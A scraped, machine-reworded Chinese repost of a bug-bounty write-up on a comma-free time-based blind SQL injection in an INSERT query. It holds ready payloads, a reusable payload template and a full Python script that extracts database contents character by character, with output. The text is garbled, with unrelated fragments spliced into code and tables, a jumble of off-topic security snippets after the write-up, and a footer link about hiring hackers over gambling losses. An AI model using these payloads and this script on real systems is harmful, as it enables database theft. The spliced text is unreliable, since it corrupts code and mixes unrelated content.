qq在线:挖洞经历 | 一次INSERT查询的无逗号SQL注入缝隙结构使用($10k)

访客4年前黑客资讯813

本文共享的是作者在一次众测中的SQL报错型注入缝隙发现进程,风趣之处在于,在后续缝隙运用的结构中,假设在政策服务端数据库逻辑的INSERT查询中运用逗号(Comma),将导致结构的Payload不可用,这种状况下,作者通过归纳Time-based注入、Case When和Like操作成功完成了SQL注入,缝隙取得了厂商$10,000美金的奖赏。

缝隙介绍

INSERT查询或UPDATE型SQL注入缝隙也算是比较常见的了,在任何SQL注入缝隙中,原因都是因为不安全的用户输入传递给了后端数据查询。此次测验数据库中的用户输入逻辑大约可以这样描述:

 

$email=$_POST['email'];$name=$_POST['name'];$review=$_POST['review'];$query="insert into reviews(review,email,name) values ('$review','$email','$name')";mysql_query($query,$conn);

 

依上所看,其对应的恳求体应该是这样的:

 

review=test review&email=info@example.com&name=test name

 

所以,经分析,或许存在以下的INSERT列刺进句子:

 

insert into reviews(review,email,name) values ('test review','info@example.com','test name')

 

终究,在政策数据库中构成的成果便是:

 

MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review','info@example.com','test name');Query OK, 1 row affected (0.001 sec)MariaDB [dummydb]> select * from reviews;+-------------+------------------+-----------+| review      | email            | name      |+-------------+------------VCM DOCUMENT.doc------+-----------+| test review | info@example.com | test name |+-------------+------------------+-----------+1 row in set (0.000 sec)

 

综上所述,在此,我们就有三种办法来对这个数据库逻辑进行缝隙注入结构。

用extractvalue办法结构的报错型注入

可以把上述分析中的review、email、name三个列刺进值换成:

 

test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1

 

这种结构状况,会构成一个走漏政策数据库的SQL报错注入:

 

MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');ERROR 1105 (HY000): XPATH syntax error: 'dummydb'
运用子查询 (Subquery)

依据以上报错型注入,我们可以进一步运用子查询 (Subquery)办法去读取数据库内容,并把它显现在刺进列的内容中。例如,我们把review这个列的值结构为:

 

jnk review',(select user()),'dummy name')-- -

 

那么,终究的刺进查询句子会是:

 

insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');

 

仔细看,因为其间存在注释符 –,所以,,’info@example.com’,'test name’); 就会被注释掉,而其间的(select user())是对当时数据库用户的查询恳求,一般会是root@localhost。所以,工作上述刺进查询句子之后,数据库中review、email、name三列内容就会相应成为:jnk review、root@localhost、dummy name,十分简单了解。如下:

 

MariaDB [dummydb]> insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name');--,'info@example.com','test name');Query OK, 1 row affected (0.001 sec)MariaDB [dummydb]> select * from reviews;+-------------+------------------+------------+| review      | email            | name       |+-------------+------已知差错:------------+------------+| test review | info@example.com | test name  || jnk review  | root@localhost   | dummy name |+-------------+------------------+------------+2 rows in set (0.000 sec)MariaDB [dummydb]>

 

Time-based的盲注结构

以上的结构Payload只能说明数据库内部的一个处理逻辑,但在使用端来看不能导致报错,并且也无法回显我们的刺进句子成果,乃至是底子无法知道我们的刺进句子是否是true 或false的状况,依据此,我们可以对它进行Time-based的盲注结构,结合If句子和substring办法,有以下Payload:

 

xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

 

假设查询句子为真,那么其后端数据库就会休眠5秒后才输出回显成果,用这种判别办法,我们可以来推断出数据库中的详细架构办法。详细办法可参阅detectify实验室的 sqli-in-insert-worse-than-select。

归纳分析

有了以上的分析,整体的缝隙运用应该不成问题了,但是,在我当时测验的政策数据库中,其存在注入缝隙的参数是urls[] 和 methods[],并且它们的值都是用逗号 -“,”进行分隔的,我按照以上分析的Payload结构进行测验后发现,其间的逗号会损坏我们的Payload结构,终究会导致注入运用不成功。

以政策数据库的以下逻辑来说:

 

$urls_input=$_POST['urls'];$urls = explode(",", $urls_input);print_r($urls);foreach($urls as $url){  mysql_query("insert into xxxxxx (url,method) values ('$url','method')")}

 

假设我们按照之前分析的Payload结构进行测验,我们把其间的urls值替换为:

 

xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

 

那么因为逗号的存在,政策数据库后端的工作处理形式就会是:

 

Array(    [0] => xxx'-(IF((substring((select database())    [1] => 1    [2] => 1)) = 'd'    [3] =>  sleep(5)    [4] =>  0))-'xxxx)

 

所以,因为逗号的分隔效果,这样的处理也就无法构成我们的注入运用了。

解决办法

所以,这样来看,我们的Payload中有必要不能包括逗号。之一步,我们需求找到一个代替IF条件且能用逗号和其它句子一起效果的办法句子。这儿的话,选用case when比较合适,所以这儿运用它的一个根本用法为:

 

MariaDB [dummydb]> select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;+--------------------------------------------------------------------------+| CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END |+--------------------------------------------------------------------------+|                        &通过”net”指令来搜索 *** 数据,特别的,下面的指令常常被看到:nbsp;                                               0 |+--------------------------------------------------------------------------+1 row in set (3.001 sec)

 

假设我们结构查询的句子为真,那么,数据库就会休眠3秒实行输出。

别的,我们还要找到代替substring的办法,那么,我们可以用Like操作来完成,比方以下逻辑:

 

MariaDB [dummydb]> select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END;+----------------------------------------------------------------------+| CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END |+----------------------------------------------------------------------+|                                                                    0 |+----------------------------------------------------------------------+1 row in set (3.001 sec)

 

其间的((select database()) like ‘d%’) 意思是,选取出的以 d 最初的形式字符串,假设这种形式匹配存在,数据库就会休眠3秒后输出。

所以,终究的归纳便是把这个查询和INSERT衔接在一起,出于测验保密准则,隐去政策主站,终究的Payload运用链接为:

 

http://xxxxxxxx/'-(select CASE WHEN ((select database()) like 'd%') THEN (sleep(4)) ELSE 2 END)-'xxx

 

这种Payload运用中,可以把CASE WHEN和Like操作设置为对字符串(Char)的暴力破解,所以,终究成型的Payload是这样的:

 

urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

 

缝隙运用

对以上Payload进行手动测验会是一件十分耗时的事,所以,我编写了以下的Python脚本对它进行一个自动化运用:

 

import requestsimport sysimport time# xxxxxxxxxexample.com SQLi POC# Coded by Ahmed Sultan (0x4148)if len(sys.argv) == 1: print '''Usage : python sql.py "QUERY"Example : python sql.py "(select database)" ''' sys.exit()query=sys.argv[1]print "[*] Obtaining length"url = "https://xxxxxxxxxexample.com:443/sub"headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate","Cookie": 'xxxxxxxxxxxxxxxxxxx',"Referer": "https://www.xxxxxxxxxexample.com:443/","Host": "www.xxxxxxxxxexample.com","Connection": "close","X-Requested-With":"XMLHttpRequest","Content-Type": "application/x-www-form-urlencoded"}for i in range(1,100): current_time=time.time() data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"} response=requests.post(url, headers=headers, data=data).text response_time=time.time() time_taken=response_time-current_time print "Executing jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"+" took "+str(time_taken) if time_taken > 2:  print "[+] Length of DB query output is : "+str(i)  length=i+1  break i=i+1print "[*] obtaining query outputn"outp=''#Obtaining query outputcharset="abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."for i in range(1,length): for char in charset:  current_time=time.time()  data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-'"}  response=requ2. 谁或什么可以运用这个人物(信任战略)。创建一个人物并不意味着任何东西或任何人都可以运用它,这个战略束缚对AWS实例或特定Lambda函数的访问。ests.post(url, headers=headers, data=data).text  response_time=time.time()  time_taken=response_time-current_time  print "Executing jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-' took "+str(time_taken)  if time_taken > 2:   print "Got '"+char+"'"   outp=outp+char   break i=i+1print "QUERY output : "+outp

 

脚本运用示例:

 

[19:38:36] root:/tmp # python sql7.py '(select "abc")'   [*] Obtaining lengthExecuting jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=1) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.538205862045Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=2) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.531971931458Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=3) THEN (sleep(1)) ELSE 2 END) as char)-' took 5.55048894882[+] Length of DB query output is : 3[*] obtaining query outputExecuting jnkfooo'-cast((select CASE WHEN ((select "abc") like 'a%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.570188else0455Got 'a'Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aa%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.635061979294Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'ab%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.61513400078Got 'b'Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aba%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.565879821777Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abb%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.553005933762Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abc%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.6208281517Got 'c'QUERY output : abc

 

终究,该缝隙取得政策测验厂商$10,000美金的奖赏:

终究的那个SQL注入测验Payload,可以当成你注入测验时的一个用例:

 

xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

*参阅来历:redforce,clouds编译,转载请注明来自FreeBuf.COM

qq在线:挖洞经历 | 一次INSERT查询的无逗号SQL注入缝隙结构使用($10k)

HANDLE ProcessIdToHandle(DWORD dwProcessId) {else[...]挖洞经验 | 一次INSERT查询的无逗号SQL注入漏洞构造利用($10k)

qq在线这儿我将运用VirtualBox,这是一个免费开源的虚拟机软件。为了更便于我们的学习,我建议我们也运用VirtualBox。当然,假设你习惯于运用VM那么也没有问题。(1). 劫持签名校验进程amfid(hijack amfid @i41nbeer)Aoyama标明在他宣告该演说之前,已向微软安全应急照应中心负责任的披露了该缝隙,并包括了可用于绕过受控文件夹访问保护的POC。Smali/bak *** ali是Android DEX字节码的汇编程序/反汇编程序。另一个名为“apktool” 的Android东西可以将紧缩的DEX(APK文件)反汇编成 *** ali文件,并将 *** ali文件从头组合回DEX,然后再其从头组合为APK格式。我们可以运用此东西来反汇编和批改现有的APK文件。

你虽然可以决意安设Metasploitable。Metasploitable由Metasploit途径的拓荒者竖立而成,是一个专门运用的具有裂缝的操作琐屑,皮相看起来就犹如virtualbox编造机中的呼吁行终端(该屑细不有图形界面)。但是本文其实不是Metasploitable进修教程,所以我会给你介绍另一种可选方案。在本文中,我们会下载几个操作系统镜像,在Virtual Box中设备这些镜像,从此经由pfSense这个软件将这些细碎衔接起来。%SystemDrive%BypassDircscript.exewinword.exe//nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:prettyqq在线

我们也可以运用Metasploit结束上述部分任务。指令如下:东西截图1http://192.168.1.120:2375/

…….3.下载pip设备程序(https://pypi.python.org/pypi/pip),按照说明设备 挖洞经验 | 一次INSERT查询的无逗号SQL注入漏洞构造利用($10k)

qq在线依据以上分析Negev试验室研讨人员侧重研讨CPU电扇和底座电扇因为它们在绝大多数电脑上都有设备且可以通过恶意程序进行控制。现在已有的大多数主板都配有四线CPU电扇或许底座电扇。下表2罗列四线电扇衔接器以及它们的功用。公钥基础设备(PKI)是一组由硬件、软件、参与者、处理政策与流程组成的基础架构,其目的在于创造、处理、分配、运用、存储以及撤消数字证书。公钥存储在数字证书中,标准的数字证书一般由可信数字证书认证安排(CA,根证书公布安排)签发,此证书将用户的身份跟公钥链接在一起。CA有必要保证其签发的每个证书的用户身份是仅有的。listeners(3)搜集许多的邮箱,然后选择出现已注册过苹果ID的邮箱

qq在线

`

5volume type选择标准容器,运用之一项standard volume即可,第二项hiden volume用于你在被别人强逼奉告暗码时运用,假设你是比特币大户,且人身安全十分重要那么建议运用hiden volume,hiden volume需求设置两个暗码来创建可显容器和躲藏容器。创建躲藏容器的进程与一般容器相同。 return FALSE;挖洞经验 | 一次INSERT查询的无逗号SQL注入漏洞构造利用($10k)

type tsp.reg

0x01 SYSVOL中的暗码和组策略就在CCC准备通过苹果查看后大展身手的七天后,苹果官方传来了拒绝的消息:其内容含有许多侵犯苹果操作系统的信息。用户帐户控制 (UAC) 给了我们运用标准的用户权限代替完全的管理员权限来工作程序的才干。所以即使您的标准用户帐户位于本地管理员组中,那么遭到的损坏也是有限的,如设备服务,驱动程序以及对安全方位实行写入操作,等等,这些行为都是被拒绝的。要进行这些操作,用户需求与桌面进行交互,如右键单击并以管理员身份工作或者是接受 UAC 进步的提示。Microsoft从 Windows Vista 起就引入了 UAC,它包括了许多的技术,其间包括文件系统和注册表虚拟化、保护管理员 (PA) 帐户、UAC 进步提示和 Windows 完整性等级。
本文标题:qq在线:挖洞经历 | 一次INSERT查询的无逗号SQL注入缝隙结构使用($10k)

相关文章

网络上赌博输钱找黑客,科技感网站 黑客

一、网络上赌博输钱怎么找黑客 1、找网站接单要做到这一点,你需要付出代价,这也是为什么高级黑客很少的原因。网络上赌博输钱模拟知乎错误的黑客知道很多网络技术入侵测试信息窃取社会工程等等,但他们只是做安全...

instagram怎么保存图片安卓(ins照片内嵌什么意思)

在好久好久之前以前读过一篇文章,详细介绍了在 iPhone 手机上及其安卓机上如何保存原画面质量的 instgram 照片,但是伴随着時间的变化,插口的变化,许多 方法都早已无效,以后依然有很多小伙伴...

黑客帝国斯密斯头像卡通(黑客联盟头像)

黑客帝国斯密斯头像卡通(黑客联盟头像)

本文导读目录: 1、黑客帝国系列中那个史密斯到底是个什么东西? 2、黑客帝国里的史密斯、这么多相同的角色、是怎么拍摄而成的? 3、黑客帝国史密斯是谁? 4、电影《黑客帝国》中史密斯是怎么具...

香港房产信息:奥城西岸12伙高折扣10.5% 快黄金

文章转载自:香港地产资讯网 九建市务及销售部总经理杨聪永表示,大角嘴奥城·西岸已届现楼,项目共104伙,已累沽约88伙,套现约6.6亿米,现时余货有16伙,其中12个分层单位将于今天出价,快十·一黄...

外交部驳斥美方称中方破坏环境-美国为什么一直针对中国

中美贸易战的对于与为难一直存有,前不久美国无端指责我国污染环境,且数次在公共场合斥责我国,10月30日中国外交部反驳美国称我国污染环境,美国这类观点确凿是空穴来风,我国一直是重视绿色生态生态环境保护,...

房产知识:个人申请公积金怎么写谁能教下

相信现在有很多的朋友们对于个人申请公积金怎么写谁能教下我?都想要了解吧,那么今天小编就来给大家针对个人申请公积金怎么写谁能教下我?进行一个介绍吧,希望小编介绍的内容能够为大家起到帮助哦 住房公...